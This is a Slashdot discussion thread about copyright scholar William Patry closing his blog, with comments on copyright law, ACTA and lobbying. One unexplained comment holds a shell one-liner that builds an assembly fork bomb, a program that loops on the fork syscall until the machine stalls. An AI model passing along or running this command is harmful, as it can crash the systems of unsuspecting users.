Slashdot Mirror
Patry Copyright Blog Closed
I Don't Believe in Imaginary Property writes "William Patry, noted copyright expert and Google's top copyright lawyer, has decided to close his personal blog. (For no reason that he has explained, the archives are gone too.) Ordinarily, that wouldn't be very newsworthy, but that little blog has made a lot of news, outing the ACTA treaty and discussing lots of other important pending legislation. Mr. Patry gives two reasons for the closure: his personal views were being attributed to Google, and the current trends in copyright law are too depressing. Though I am not the only one to have done so, as someone who has contributed to that misunderstanding by listing his credentials without a disclaimer, I would like to publicly apologize to him. Unfortunately, there's nothing I can do to reverse the depressing trends in copyright law that I'm not doing already."
I'm Australian. Our conservative party is called "The Liberal Party". I have no idea what that quote means.
This whole copyright business is depressing alright, mainly because those who are allegedly "our" politicians are working against us as a result of corporate $$$-based lobbying, which would be known as bribery in more enlightened societies.
Well fine, if that's how the system works then why don't *WE* bribe our politicians too? Dozens of millions of citizens are affected by this media-led crap, hundreds of millions of people worldwide, so surely we can afford the bribes?
It shouldn't be necessary to bribe those who in theory should be representing us, but if that's the only way to make them work for the people, then we should do it. If we don't, then the next step will be to employ contract hit men to make the politicians "see sense", and that's not a step to be taken lightly. But bribery appears to be acceptable in current society. So how about it?
He also said
On top of this there are the crazies, whom it is impossible to reason with, who do not have a life of their own and so insist on ruining the lives of others, and preferably as many as possible. I asked myself last week after having to deal with the craziest of the crazies yet, "why subject yourself to this?" I could come up with no reason why I should: My grandfather chose to be a psychiatrist, but I chose a different professional path, one that doesn't obligate me to put up with such nonsense.
Funny how slashdot misses that part out.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Just read it here. Thanks, Wayback Machine!
It's sort of like the drains going the opposite way and Summer being cold, right?
If you don't know what you're doing, you can't make mistakes.
Patry has made it clear that he did not receive pressure from Google to close his blog.
I do a number of things related to copyright law. IMHO, Patry's blog was one of the greatest free Web resources for anything interested in following copyright.
If you read the comments on Patry's closing blog entry, you'll find a number of names you'd recognize if you follow copyright law at all- almost a who's who of the copyright world. And most of them, while they wish he would continue, completely agree with his reasons for leaving, including his second premise. Copyright law has gotten depressing, and it does bring the crazies out. And he's not the first person who works in copyright law that I've heard say pretty much the same thing.
It's not like he's leaving the copyright world- he is still the author of the definitive legal treatise on copyright, and he's still a copyright attorney.
That's normal in politics. In Soviet Russia (don't even think it) the Union of Soviet Socialist Republics was popularly known as "Four words, four lies."
As a European who has seen Fox News I think Liberal means believing Stalin was The MAN! and Conservative means being persecuted for driving.
*shrugs*
i wish i could stop
I'm no lawyer, but I know a little about law anyhow. Mr. Patry is one of the heavyweight scholars of copyright law, not some random nobody on Slashdot like me.
His blog was very important. Like TFS says, it broke the news on the ACTA treaty, which would still be secret if not for him. Lawyers read his books to learn about copyright law. His blog was incredibly useful to find out all the latest happenings in copyright law, which is only getting crazier now that it's being rewritten to appease Disney and to try to deal with the internet, which most politicians don't understand on a deeper level than "it's not a big truck, it's a series of tubes."
So losing him is a big deal and it sucks. There simply aren't many people who could ever hope to replace him. Groklaw, Ars Technica and NYCL are all great, don't get me wrong.
But they simply lack the authority someone like Mr. Patry can bring to the table. He will be missed.